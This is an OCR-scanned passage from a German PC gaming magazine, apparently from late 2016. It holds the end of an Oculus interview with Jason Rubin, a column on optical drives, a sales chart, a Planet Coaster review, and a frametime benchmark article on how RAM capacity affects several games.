aufkauft. Bei der Rift reden wir von 
einem sehr teuren PC und einen 
Spieler, der diesen besitzt. Das ist 
unser Zugang zum Markt, aber im 
Laufe der Zeit werden andere An- 
wendungszwecke 
- und dabei vermutlich auf die 3D- 
Technologie aufbauen, die für Spie- 


hinzukommen 


le entwickelt wurde. 


PCGH: Wir reden die ganze Zeit über 
langfristige Software-Trends, aber 
was wird sich mittelfristig bei der 
Hardware tun? Wann kommt die Rift 


2 - oder eine Rift Light als Gegen- 
stück zu den 300-Euro-Ankündigun- 
gen einiger Microsoft-OEM-Partner? 


Jason Rubin: Wir haben keine güns- 
tigere Rift angekündigt. Wie bereits 
gesagt, ist ein gewisses Mindestmaß 
nótig, um Prásenz zu erreichen und 
ich glaube nicht, dass das für 300 
Euro móglich sein wird. Als ein- 
fache Lósung bieten wir die Gear 
VR für unschlagbare 99 US-Dollar. 
Ein teureres Produkt, das keine VR- 
Prásenz erreicht, erscheint heut- 
zutage fragwürdig. Die künftige 
Entwicklung und die Lebensdauer 
von VR-Hardware vorherzusagen, 
ist schwer. Im Markt für 99-US-Dol- 
lar-Headsets wie Gear VR erwartet 
regelmäßige Qualitäts-Up- 
dates, aber wir glauben an Rift und 
an Touch so wie sie heute sind und 


man 


planen keinen Ersatz in der nähe- 
ren Zukunft. Die nächsten Innova- 
tionen kommen von der Software- 
Seite. Natürlich kann man immer 
noch etwas zur Hardware hinzufü- 
gen, aber die Entwickler brauchen 
einfach Zeit, um neue Features zu 
implementieren. Ich glaube nicht, 
dass wir bei den heutigen Preisen 
im High-End-Markt jährliche Up- 
dates sehen werden. 


PCGH: Wie sieht es mit mehr Bewe- 
gungsfreiheit aus? 


Jason Rubin: Mit der dritten Kamera 
haben wir die Flächenbedürfnisse 
der Nutzer abgedeckt. Einige Leu- 
te sagen, eine größere Spielfläche 
ist immer besser, aber der Großteil 


der Welt hat diesen Platz nicht. Ich 
hatte viel Glück und Erfolg in mei- 
nem Leben, aber auch ich kann nur 
wenige Meter für VR abstellen und 
selbst meine VR-aufgeschlossene 
Frau wird mich nicht die Möbel 
im Wohnzimmer umstellen lassen. 
Kabellose Headsets sind verführe- 
risch, aber wir haben noch keine 
Technologie gesehen, welche die 
für VR-Präsenz nötige Leistung ka- 
bellos bereitstellen kann. Mittelfris- 
tig wird es einen Wettlauf zwischen 
leistungsfähigeren Übertragungslö- 
sungen und höheren Auflösungen 
mit gesteigerten Bandbreiten-An- 
forderungen geben. Langfristig ist 
Kabelfreiheit aber unvermeidbar. 
Wir haben bereits einen Prototypen 
mit Inside-Out-Tracking gezeigt, das 
stadium-size VR ermöglichen wür- 
de. Die nächsten zwei Jahre drehen 
sich aber erst einmal um die Soft- 
ware-Entwicklung. 


PCGH: Einige Leute befürchten, dass 
langfristige VR-Pläne genauso in der 
Bedeutungslosigkeit enden wie 3D- 
TVs, wenn nicht die ganze Industrie 
an einem Strang zieht. Wie ist da die 
Stimmungslage? 


Jason Rubin: Nvidia und AMD lieben 
VR, denn das ein Grund, ihre Grafik- 
karten weiterzuentwickeln. Moder- 
ne Spiele sehen schon sehr gut aus, 
aber Stereoskopie, hohe Auflösung 
und 360° stellen ganz neue Anforde- 
rungen an Bandbreite und Rechen- 
leistung. 


PCGH: Danke. 
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Kommentar 


Brauchen Spieler noch ein optisches Lauf- 
werk? Ich jedenfalls komme nicht ohne aus! 


Bei meiner Gehàuse-Marktübersicht (siehe S. 70 
ff.) stellte ich erstaunt fest, dass mit dem Bitfenix 
Shogun, Corsair Carbide 270R und Nanoxia Pro- 
ject S drei von sechs Probanden keine Einbau- 
möglichkeit für optische Laufwerke mehr bieten. 
Da es sich beim Bitfenix Shogun und Nanoxia 
Project 5 um Designergehäuse handelt, kann 
man die Streichung der 5,25-Zoll-Laufwerks- 
halterung ja noch verstehen. Trotzdem scheint 
sich hier ein Trend zu entwicklen, der gerade die 
PC-Spieler negativ treffen könnte, die — wie ich 
— aufgrund einer Volumenbeschränkung dazu 
gezwungen sind, neue Spiele händisch, also per 
DVD/Blu-ray, zu installieren. Bei Download-Um- 
fángen von 50 GiByte oder mehr bleibt mir mit 
15 GiByte Volumen nämlich gar nichts anderes 
übrig, als DVD-Jockey zu spielen. Die Gehäuse- 
hersteller kónnten argumentieren, dass der Markt 
externe optische Laufwerke bereithált, die dank 
USB-3.0/3.1-Schnittstelle besonders flott sind. 
Trotzdem móchte, nein, muss ich meinen schlich- 
ten, schon fünf Jahre alten, aber noch einwandfrei 
arbeitenden DVD-Brenner weiterverwenden. Und 
da brauche ich eben das passende Gehäuse. 


Verkaufs- 
CHARTS* 
Platz Titel TCI te 
Battlefield 1 
Die Sims 4 


Landwirtschafts-Simulator 17 Astragon 
Die Sims 4: GroBstadtleben Electronic Arts 


Hersteller 
Electronic Arts 
Electronic Arts 


Civilization 6 2K Games 
Grand Theft Auto 5 
Watch Dogs 2 
Overwatch 


FIFA 17 


Rockstar Games 
Ubisoft 

Blizzard 
Electronic Arts 
Bethesda 
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* Quelle: Saturn, Top 20 vom 17.12.2016 


Planet Coaster 


Obwohl sich Frontier Developments Park Mana- 
ger ein paar Schönheitsfehler erlaubt, wird er zur 
neuen Referenz seiner Sparte. 


ollte man Ihnen einen Hang zum Perfektionis- 

mus vorwerfen, könnten Sie mit Planet Coas- 
ter ein Problem bekommen. In kaum einem an- 
deren Spiel kann man sich so in Details verlieren 
wie im neuen Freizeitpark-Manager von Frontier 
Developments. Den Hauptanteil daran, dass das 
Gestalten des individuellen Parks so viel Spaß 
macht, trägt das modulare Bausystem. Wie bei 
Lego-Steinchen setzen Sie in Planet Coaster aus 
beliebigen Einzelteilen eigene Objekte zusam- 
men. Leider gestaltet sich dabei das genaue Plat- 
zieren von Bauteilen oft fummelig. Unterm Strich 
bietet Planet Coaster trotzdem einen wahnsinnig 
faszinierenden Park-Editor, dessen Möglichkei- 
ten mindestens so weitreichend sind wie Ihre 
Kreativität. Da die Bastelarbeiten mit dem Editor 
jedoch kein Pflichtprogramm sind und es viele 
vorgefertigte Attraktionen sowie eine Fülle von 
Community-Blaupausen für Achterbahnen, Ge- 
schäfte und Dekorationen im Steam Workshop 
gibt, bietet der Titel auch dem Gelegenheitsspie- 
ler mit überschaubarem Zeitpensum viel Spaß. 


Einen weiteren Reiz bei einem Themenpark-Ma- 
nager liegt im Simulationspart - und der fällt bei 
Planet Coaster weitestgehend gut aus. Um zahlrei- 
che Gäste anzulocken müssen Sie beispielsweise 
Preise optimieren und nach neuen Attraktionen 


hardware.de/spiele 


forschen. Zusätzlich müssen Sie sich auch um Ihr 
Park-Personal kümmern. Dabei präsentieren sich 
die Benutzeroberflächen schlicht, liefern aber 
alle relevanten Details. Abrufbare Diagramme 
und Statistiken sowie regelmäßige Benachrich- 
tungen geben Auskunft über Bedürfnisse sowie 
Zufriedenheit von Gästen und verraten Ihnen 
so, wo gegebenenfalls Handlungsbedarf besteht. 
Insgesamt lassen sich die Bedürfnisse von Gästen 
und Personal jedoch relativ simpel zu befriedi- 
gen, zumal überraschende Zufallsereignisse Man- 
gelware sind. Es sind aber nicht nur die reinen 
Balken, Fakten und Zahlen, welche die Simulati- 
on so motivierend machen. Die Hauptattraktion 
sind vielmehr die Gäste selbst, die Ihnen per 
Mimik und Gestik zeigen, was sie vom Park hal- 
ten. Wer will, kann sich am Karrieremodus versu- 
chen. Der verschenkt mit seinen sich wiederho- 
lenden Zielen jedoch viel Potenzial. (fs) 


Planet Coaster 


FAZIT: Trotz einiger Macken ist Planet Coaster ein empfehlens- 
werter Park-Manager. Das Bausystem bietet nahezu unendliche 
Möglichkeiten und wer nicht selber gestalten will, nutzt das 
riesige Community-Angebot. Verglichen mit dem Editor fällt der 
Management-Part aber ab und der Karrieremodus enttäuscht. 


Genre: Simulation | Web: www.planetcoaster.com/de | 
Technik: Detailreiche, aber bei großen Parks auch sehr 
fordernde Grafik | Empfohlener PC: Core i5-6600/FX-8350, 
GTX 970/1060, R9 290X/RX 480, 16 GiB RAM 
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er Hauptspeicher eines Spiele- 
Dae- ist ein schwierig zu 
greifender Performance-Faktor; abseits 
von den minimalen und empfohlenen 
Hardware-Konfigurationen bei neu er- 
scheinenden Spielen gibt es nur sehr 
begrenzte Informationen, wie viel Spei- 
cher ein aktueller Spielerechner verbaut 
haben sollte. Dabei kann der Speicher 
und dessen Kapazität den Unterschied 
zwischen spielbar und unspielbar aus- 
machen, selbst wenn alle anderen Kom- 
ponenten in einem System eigentlich 
überdimensioniert sind. 
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a Vonnö 


“Wie viel Hauptspeicher, seine für ein bestimmtes: Spi 
E 
Frage, deren Beantivoftung Wir ДЕШ diesem Artikel SAN a st Nemwollen. 


Genau dieses Szenario nehmen wir 
in Augenschein, denn auf diese Weise 
eliminieren wir bestmöglich Neben- 
effekte wie Stocker aufgrund eines zu 
knappen Grafikspeichers sowie RAM- 
unabhängige Nachladehänger und trei- 
ben außerdem die Frametimes in nied- 
rige Bereiche. 


In diesem Szenario zeigen sich selbst 
kleinere Abweichungen relativ deutlich, 
wir betrachten die Auswirkungen der 
Speicherbestückung also in einem mög- 
lichst isolierten Szenario und nutzen 


den. „бы 
iel? Das ist eine schwieri e 


dafür Frametime-Messungen, die gegen- 
über regulärer Bildraten-Balkenbench- 
marks eine deutlich höhere Detaildich- 
te abzubilden vermögen. Wir nutzen 
dazu speziell erwählte Spielsequenzen, 
um Bestückungen mit 4, 8, 16, 24 und 
32 GiByte zu vergleichen und nutzen 
dafür zwei RAM-Sets mit 4- und 8-GiBy- 
te-Riegeln, deren Taktung wir gleichge- 
setzt haben. Auf diese Weise können wir 
nicht nur die empfehlenswerte Menge, 
sondern auch eventuelle Auswirkungen 
von Mischbestückung im Triple- und 
Quad-Channel-Betrieb aufzeigen. 
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Battlefield 1 


Is wir uns in der Ausgabe 

04/2014 mit der Frage beschäf- 
tigten, wie viel Hauptspeicher bes- 
tenfalls in einem damals aktuellen 
Spielerechner installiert sein sollte, 
musste unter anderem Battlefield 4 
als Testszenario herhalten. Es ließ 
uns damals darauf schließen, dass 
die von uns getestete Maximal- 
Bestückung von 16 GiByte DDR3- 
2133 das beste Spielerlebnis bringt 
- wenngleich die kleinen Ruckler 
mit nur 8 GiByte RAM wohl nur 
empfindsamen Spielern wirklich 
negativ auffallen würden. 


Das aktuelle Battlefield 1 ist damit 
beinahe prädestiniert für diesen 
Test. Dazu kommt der Umstand, 
dass DICE' aktueller Mehrspieler- 
Shooter generell recht hohe An- 
sprüche an die Hardware stellt, 
neben der Grafikkarte ist auch die 
CPU gefordert. Und die großen, 
detaillierten und zu weiten Teilen 
zerstörbaren Karten erfordern 
eine Vielzahl an Daten und einen 
hohen Streaming-Aufwand - prima 
für Speicherbenchmarks. Weniger 
gut ist im Falle von Benchmarks 
der hohe Chaosfaktor, den mensch- 
liche Mitspieler in die Messungen 
bringen. Gerade bei feinen Frame- 
time-Graphen können schon win- 
zige Unregelmäßigkeiten für eine 
große Diskrepanz sorgen. Aus die- 
sem Grund entschlossen wir uns 
nach einer Vielzahl von gescheiter- 
ten Messversuchen auf voll besetz- 


ten Servern dazu, die Benchmarks 
auf leeren Karten zu erstellen. Dies 
ist ein etwas konstruiertes Szenario 
und es ist anzunehmen, dass der 
Speicher auf voll besetzten Karten 
eine etwas größere Rolle einnimmt, 
doch nur auf diese Weise bekom- 
men wir verlässlich reproduzier- 
bare Werte. Um diese zu erhalten, 
laufen wir auf der Karte „Amiens“ 
einen zuvor penibel abgesteckten 
Weg von Punkt A zu Punkt F ab. 
Wichtig: Das dynamische Wetter 
muss klar sein, Nebel oder Regen 
beeinflussen die Ergebnisse. 


Trotz unseres übertakteten Core i7- 
6900K (8 Kerne, 16 Threads) samt 
GTX 1080 OC ist Battlefield 1 mit 
4 GiByte RAM nahezu unspielbar. 
Häufige und extreme Ruckler, die 
teils die 100-Millsekunden-Marke 
knacken, lassen keinen Spaß auf- 
kommen. Besser wird es mit 2 x 4 
GiByte RAM: Die größten Stocker 
verschwinden, nur vereinzelt sind 
kleinere Ruckler zu spüren. Dabei 
müssen wir jedoch anmerken, dass 
wir beim Messen zwei Fälle mit je- 
weils einem kräftigen Stocker ver- 
zeichnen konnten, die sich jedoch 
nicht reproduzieren ließen. Ab 
2 x 8 GiByte und mehr sind die 
Frametimes dann nahezu perfekt. 
Interessant: Die Mischbestückung 
aus 2 x 4 GiByte und 1 x 8 GiByte 
ist augenscheinlich suboptimal, 
wenngleich besser als nur die bei- 
den 4-GiByte-Riegel. 


Ein 4-GiByte-Riegel vs 32 GiByte Quadchannel 


Battlefield 1 — 1.920 x 1.080, „Amiens Extended", Ultra, ТАА 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz,10 GT/s), Gef. 376.33 Bemer- 
kungen: 1 x 4 GiByte — Ø-FT: 8,5 ms; 1-Percentile: 39,1 ms; @-Fps: 117,6; 4 x 8 GiByte — O-FT: 7,7 ms, 
1-Percentile: 10,1 ms; Ø-Fps: 129,9 Fps; Mit nur 4 GiByte Arbeitsspeicher ist BF1 kaum genießbar. 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Mischbestückung im Vergleich 
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Frametimes in Millisekunden 


Battlefield 1 — 1.920 x 1.080, ,,Amiens Extended”, Ultra, TAA 


Zeit in Sekunden 


Battlefield 1 — 1.920 x 1.080, ,,Amiens Extended”, Ultra, TAA 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/86 OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 2 x 4 GiByte — Ø-FT: 8,0 ms; 1-Percentile: 11,5 ms; Ø-Fps: 125,2; 2 x 8 GiByte — O-FT: 7,9 ms, 
1-Percentile: 10,9 ms; O-Fps: 126,6 Fps; 16 GiByte bringen recht deutliche Vorteile gegenüber 8. 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 2 x 4 + 1 x 8 GiByte — Ø-FT: 8,5 ms; 1-Percentile: 14,1 ms; O-Fps: 117,6; 2 х 8 + 1 x 4 GiByte— 
Q-FT: 8,0 ms, 1-Percentile: 10,8 ms; O-Fps: 125,3 Fps; Mischbestückung kann zu Mikroruckeln führen. 
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The Division 


Ein 4-GiByte-Riegel vs. 32-GiByte-Quadchannel 


The Division — 1.920 x 1.080, „Chelsea i Extended”, TAA, Ultra + Ge ШИШ. 
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System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 1 x 4 GiByte — Ø-FT: 10,8 ms; 1-Percentile: 38,5 ms; O-Fps: 92,6; 4 x 8 GiByte — @-FT: 10,1 ms, 
1-Percentile: 18,2 ms; O-Fps: 99,0 Fps; Mit 4 GiByte sind die häufigen Ruckler kaum erträglich. 


T Division gehört zwar zu den 
schon etwas älteren Titeln in 
diesem Test, wird jedoch immer 
noch aktualisiert und bekommt 
weiteren technischen Feinschliff. 
Dazu zählt beispielsweise auch ein 
Direct-X-12-Pfad, den wir für die- 
sen Test allerdings nicht verwen- 
den wollen, um spezifische Prob- 
leme des Supports, die eventuell 
noch vorhanden sind, zu umgehen. 


Dass die verwendete Snowdrop-En- 
gine weiterhin so viel Zuwendung 
erhält, geht wohl darauf zurück, 
dass The Division darauf ausge- 
legt wurde, längerfristig gespielt 
zu werden. Aber unserer Meinung 
nach ist auch noch ein anderer Fak- 
tor logisch: Die Snowdrop-Engine 
soll nicht nur für The Division 
herhalten, der ganze Aufwand um 
die Engine wird betrieben, da sie 
auch in zukünftigen Ubisoft-Titeln 
eingesetzt werden soll. In diesem 
Sinne ist auch die Direct-X-12-Por- 
tierung keine große Überraschung. 
Diese von uns getätigte Unterstel- 
lung macht The Divison noch inte- 
ressanter, als es technisch sowieso 
schon ist. Gut neun Monate nach 
Release ist das Spiel noch immer 
eine Augenweide: Das verschneite 
New York bietet einen fast aber- 
witzigen Detailgrad, unzählige ani- 
mierte, zerstörbare und mit einer 
Physik ausgestattete Objekte zieren 
die hochauflösende Umgebung, die 
Sichtweite ist gewaltig, dynamische 


Licht- und Schattenspiele sind be- 
eindruckend und die Partikel- und 
volumetrischen Effekte sehr an- 
sehnlich. Das gilt auch dann, wenn 
wir die Grafikeinstellungen nicht 
maximieren. Denn mit zugeschal- 
teten (Nvidia-exklusiven) HFTS- 
Schatten, HBAO+ und maximierten 
Reflexionen treten wir mit einer 
GTX 1080 OC bereits in 1080p in 
ein Grafiklimit. Um diesen Um- 
stand ein wenig zu entschärfen 
und die restlichen Komponenten 
unseres Systems sowie das Strea- 
ming der Snowdrop-Engine etwas 
stärker zu belasten, wählen wir das 
Ultra-Preset, deaktivieren Vsync 
und ziehen die Objektsichtweite 
auf 100 Prozent. 


Die sehr regelmäßigen Ausschläge 
in den Frametimes gehen wohl auf 
den Umstand zurück, dass in The 
Division einer oder mehrere Effek- 
te, wie etwa die Cubemaps für Re- 
flexionen oder die globale Beleuch- 
tung, nur alle paar Frames neu 
erstellt werden, um Leistung zu 
sparen. Diese Ausschläge stechen 
bei niedrigen Berechnungszeiten 
hervor, gehen aber nicht auf die 
Speicherbestückung zurück. Diese 
zeigt wiederholt: Mit 4 GiB ist The 
Division beinahe ungenießbar, ab 
8 GiB läuft das Spiel praktisch opti- 
mal. Interessant: Als einzigem Spiel 
im Test mundet The Division die 
Mischbestückung aus 
unterschiedlichen Modulen. 


mehreren 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Mischbestückung im Vergleich 


The Division - 1.920 x 1.080, „Chelsea Extended”, TAA, Ultra + 100 % Sichtw. 
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Frametimes in Millisekunden 


The Division — 1.920 x 1.080, „Chelsea Extended", TAA, Ultra + 100-%-Sichtw. 
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Zeit in Sekunden 


100 125 150 175 200 


System: 17-6900К @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 СТ/5), Gef. 376.33 WHQL Be- 
merkungen: 2 x 4 GiByte — Ø-FT: 10,8 ms; 1-Percentile: 18,8 ms; O-Fps: 92,6; 2 x 8 GiByte — Ø-FT: 10,8 ms, 
1-Percentile: 18,6 ms; O-Fps: 92,6 Fps; Es gibt minimale Vorteile für 16 GiByte RAM. 


kungen: 2 x 4 + 1 x 8 GiB — O-FT: 10,8 ms; 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
1-Percentile: 12,9 ms; Ø-Fps: 92,6; 2 x 8 + 2 x 4 GiB — O-FT: 10,6 
ms, 1-Percentile: 12,8 ms; O-Fps: 94,4 Fps; Interessant: Bei Mischbestückung sind die Frametimes am besten. 
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Doom 


Ein 4-GiByte-Riegel vs. 32-GiByte-Quadchannel 


Doom - 1.920 x 1.080, „Into the Fire Extended”, TSSAA 8x, Nightmare 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz,10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 1 x 4 GiByte — @-FT: 6,8 ms; 1-Percentile: 24,3 ms; O-Fps: 147,1; 4 x 8 GiByte — @-FT: 6,2 ms; 
1-Percentile: 10,8 ms; @-Fps: 161,3 Fps; Für Doom sind 4 GiByte Speicher zu wenig. Quad-Channel hilft. 


as Doom-Reboot ist spiele- 
Di. wie technisch interes- 
sant und vereint auch in letzterem 
Bereich einige Oldschool-Tugen- 
den. Darunter fällt etwa das mit 
der id-Tech 5 und Rage eingeführte 
Megatexturing, das auch in Doom 
weiter Verwendung findet. Ab- 
gesehen davon ließ id Software 
für die in Doom nun zum Einsatz 
kommende id-Tech 6 kaum einen 
Stein auf dem anderen und moder- 
nisierte die Engine grundlegend. 
Der neue Rendermotor macht in 
Doom eine sehr gute Figur, das 
Spiel läuft beinahe schon ausge- 
sprochen flüssig, setzt auf unzäh- 
lige schicke und moderne Effekte 
und sieht dabei formidabel aus. 
Dazu nutzt Doom auf Wunsch die 
Vulkan-API, die wir an dieser Stelle 
aber nicht nutzen wollen, um die 
Messungen möglichst auf einem 
gleichen Level zu belassen - unter 
Vulkan müssten wir mit Present- 
mon auf eine andere Messsoftware 
umsteigen, die anders aufzeichnet 
als Fraps und divergierende Ergeb- 
nisse liefern könnte. 


Zudem hat id Software die Bildrate 
auf 200 Fps begrenzt. Mit dieser 
Grenze bekommen wir in 1080p 
schon unter Open GL Probleme. 
Aus diesem Grund nutzen wir die 
„Nightmare“-Optionen, die min- 
destens 5 GiByte Grafikspeicher 
voraussetzen. Die Schatten kosten 
reichlich Leistung und drücken un- 


sere Bildraten für die allergrößten 
Teile unserer Messungen unter die 
200 Fps. Die „Nightmare“-Texturen 
indes sind aufgrund des Streamings 
der Megatextures interessant, denn 
Teile von diesen müssen beständig 
geöffnet und vom Spiel nachgela- 
den werden. Dazu wird Haupt- so- 
wie Grafikspeicher genutzt. Bei 
unserem Sprint durch das erste 
Höllenlevel - den längsten kontinu- 
ierlichen Lauf, den wir ohne Back- 
tracking in der gesamten Kampag- 
ne reproduzierbar hinbekommen 
- liegt aufgrund dessen eine durch- 
gehend hohe Speicherbelastung 
vor. Dies ist auch erkennbar, wenn 
Doom auf einer HDD liegt: Die Fest- 
platte macht mit fortwährender Ge- 
räuschkulisse auf sich aufmerksam. 
Für diesen Test liegt Doom, wie alle 
anderen Spiele auch, auf einer SSD. 


Wenig Erstaunliches zeigt sich mit 
nur 4 GiByte RAM: So wollten wir 
nicht spielen. Interessanter ist, dass 
sich nur wenige Vorteile bei der 
Bestückung mit 2 x 8 gegenüber 
2 x 4 GiByte zeigen. Zwar entfällt 
einer der Ruckler im letzten Drit- 
tel der Messung, die von einer sehr 
scharfen, schnellen Drehung ver- 
ursacht werden, abgesehen davon 
tut sich allerdings nicht viel. Inter- 
essant: Doom kommt mit Mischbe- 
stückung offenbar gut zurecht, die 
schlechtesten 1 Prozent der Mess- 
werte liegen fast auf dem niedrigen 
Niveau von 4 x 8 GiByte. 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Mischbestückung im Vergleich 


Doom - 1.920 x 1.080, „Into the Fire Extended”, TSSAA 8x, Nightmare 
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Frametimes in Millisekunden 
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Doom - 1.920 x 1.080, „Into the Fire Extended”, TSSAA 8x, Nightmare 
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System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G ОС (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Вет: 2 
x 4 GiByte — O-FT: 6,3 ms; 1-Percentile: 12,8 ms; O-Fps: 158,7; 2 x 8 GiByte — O-FT: 6,3 ms; 1-Percentile: 12,8 
ms; O-Fps: 158,7 Fps; 2 x 8 GiByte laufen minimal besser (die Kurve verdeckt einen gelben Ausschlag halb). 


System: 17-6900К @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 2 x 4 + 1 x 8 GiByte — O-FT: 6,3 ms; 1-Percentile: 11,1 ms; @-Ерѕ: 158,7; 2 x 8 + 2 x 4 GiByte — 
@-ЕТ. 6,3 ms; 1-Percentile: 11,1 ms; O-Fps: 158,7 Fps; Doom nutzt offenbar mehr als 2 Module effektiv aus. 
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Skyrim Special Edition (inkl. Grafikmods) 


ie ordentlich überarbeitete 

Special Edition von Skyrim ist 
für diesen Test interessant, denn 
dank neuer 64-Bit-Technik kann 
Skyrim nun mehr als nur 4 GiByte 
Hauptspeicher nutzen, das Open- 
World-Rollenspiel läuft nun zudem 
stabiler als die Urversion. Und dies 
gilt selbst dann, wenn eine Vielzahl 
an Mods installiert wurde. 


Für diesen Test haben wir uns da- 
her ein modifiziertes Skyrim he- 
rangezogen. Unsere Änderungen 
beinhalten etwa 20 der beliebtes- 
ten Mods, darunter das Textur- 
Overhaul SSE Texture Pack, die ver- 
besserten Drahtgittermodelle von 
Static Mesh Improvements, Flora 
Overhaul, Immersive Armors, Rea- 
listic Water Two sowie eine ganze 
Reihe an Gameplay-Erweiterungen. 
Darüber hinaus kommt eine hän- 
disch angepasst ENB- sowie Resha- 
de-Konfiguration zum Einsatz. Den 
Abschluss macht Open Cities, eine 
Mod, welche die Ladezeiten beim 
Betreten von Städten eliminiert, in- 
dem diese der Außenwelt zugefügt 
wurden. Gerade Letzeres sowie die 
zusätzliche Last durch ein Plus an 
(KI2Scripts und der erhöhte Stre- 
aming-Aufwand durch die neuen 
Texturen und Vegetation sollten 
sich bezüglich Speicherausstattung 
bemerkbar machen. 


Die ersten Ergebnisse sahen sehr 
vielversprechend aus, bei Bildraten 


zwischen 80 und 90 Fps schwank- 
ten die Frametimes је 
Speicherbestückung teils beträcht- 
lich. Leider kam Bethesda dann auf 
die Idee, uns mit dem Patch 1.03 
und dem dort nicht mehr deakti- 


nach 


vierbaren 60-Fps-Lock einen Strich 
durch die Rechnung zu machen. 


Das Framelimit kann nun nicht 
mehr umgangen werden, einzig 
Vsync lässt sich noch deaktivieren, 
was wir selbstredend getan haben. 
Aber das neue Limit stellte uns vor 
das Problem, dass die Engine nun 
mit unzureichender Last läuft, um 
aussagekräftige Ergebnisse zu er- 
halten. 


Zum Glück lässt auch die Special 
Edition umfangreiches Ini-Tuning 
zu, mit dem wir die Engine wieder 
an ihr Limit treiben konnten: Prin- 
zipiell haben wir das komplette 
Detaillevel mit Ausnahme der leis- 
tungskritischen Schatten um den 
Faktor 2 erhöht, Landschaft, Bäu- 
me, Gras und Objekte werden nun 
auch in der Ferne angezeigt. Dies 
sorgt für eine höhere Streaming- 
Last und lässt in unseren Speicher- 
benchmarks eine bessere Differen- 
zierung der Ergebnisse zu. Dies ist 
ein konstruiertes Szenario, jedoch 
dank des tollen Mod-Supports von 
Skyrim kein weltfremdes. Wir kön- 
nen nun außerdem sagen: Für ein 
kräftig modifiziertes Skyrim sind 
16 GiByte RAM sinnvoll. 


Ein 4-GiByte-Riegel vs. 32-GiByte-Quadchannel 


Skyrim SE - 1.920 x 1.080, „Whiterun Extended”, Ultra inkl. Mods + Tweaks 
60 


50 
40 
30 


20 


Frametimes in Millisekunden 


lB 1 x 4 GiByte DDR4-2800 RAM 
lB 4 x 8 GiByte DDR4-2800 RAM 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz,10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 1 х 4 GiByte — Ø-FT: 17,1 ms; 1-Percentile: 28,3 ms; Ø-Fps: 58,5; 4 x 8 GiByte — O-FT: 16,7 ms, 
1-Percentile: 22,3 ms; Ø-Fps: 60,0 Fps; Skyrim lässt sich mit 4 GiByte RAM noch relativ ordentlich spielen. 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Mischbestückung im Vergleich 


Skyrim SE - 1.920 x 1.080, „Whiterun Extended”, Ultra inkl. Mods + Tweaks 
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Skyrim SE - 1.920 x 1.080, ,,Whiterun Extended”, Ultra inkl. Mods + Tweaks 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G ОС (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 2 x 4 GiByte — Q-FT: 16,7 ms; 1-Percentile: 24,8 ms; Ø-Fps: 60,0; 2 x 8 GiByte — O-FT: 16,7 ms, 
1-Percentile: 22,9 ms; O-Fps: 60,0 Fps; Trotz Vorteilen von 16 GiByte: Skyrim ruckelt immer ein wenig. 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bem.: 
2 x 4 + 1 x 8 GiByte — @-FT: 16,7 ms; 1-Percentile: 24,7 ms; Ø-Fps: 60,0; 2 x 8 + 2 x 4 GiByte — @-ЕТ: 16,7 
ms, 1-Percentile: 23,9 ms; @-Fps: 60,0 Fps; Bei Mischbestückung bevorzugt Skyrim die größere Variante. 
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SPIELE & SOFTWARE | RAM und die Auswirkungen in Spielen 


The Witcher 3 


Ein 4-GiByte-Riegel vs. 32-GiByte-Quadchannel 


The Witcher 3 - 1.920 x 1.080, ,,Beauclair Extended”, Ultra, GW aus 
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Zeit їп Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G ОС (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 1 x 4 GiByte — @-FT: 10,1 ms; 1-Percentile: 21,9 ms; O-Fps: 99,0; 4 x 8 GiByte — @-ЕТ: 9,5 ms, 
1-Percentile: 12,9 ms; @-Fps: 105,3 Fps; Mit nur 4 GiByte RAM kann man The Witcher 3 nicht richtig genieBen. 


Tz Witcher 3 setzt auf die RED 
Engine 3, in die Entwickler CD 
Projekt sehr viele Optimierungen 
einfließen ließ. Neben der obliga- 
64-Bit-Unterstützung, 
welche die Verwendung von mehr 
als 4 GiByte Hauptspeicher erlaubt, 
insbesondere das Strea- 
ming und die Landschaftsdarstel- 
lung verbessert sowie dynamische 
Wettersysteme und ein Tag-Nacht- 
wechsel eingebaut. Das Resultat ist 
die weitläufige und bis dato wohl 
glaubwürdigste, lebendigste Fanta- 
sy-Welt der Spiele-Geschichte. 


torischen 


wurde 


The Witcher 3 haben wir schon 
einmal für einen Speichertest in 
der Ausgabe 09/2015 herangezo- 
gen. Damals lag unser Fokus aber 
ein wenig allgemeiner, nun be- 
leuchten wir mit einem nochmals 
deutlich potenteren Testsystem 
explizit den Hauptspeicher. Dazu 
kommt außerdem eine unserer 
Benchmarkszenen aus dem Addon 
Blood and Wine zum Einsatz. In der 
hübschen Märchenstadt Beauclaire 
liegt die CPU-Last höher als in den 
allermeisten anderen Gebieten des 
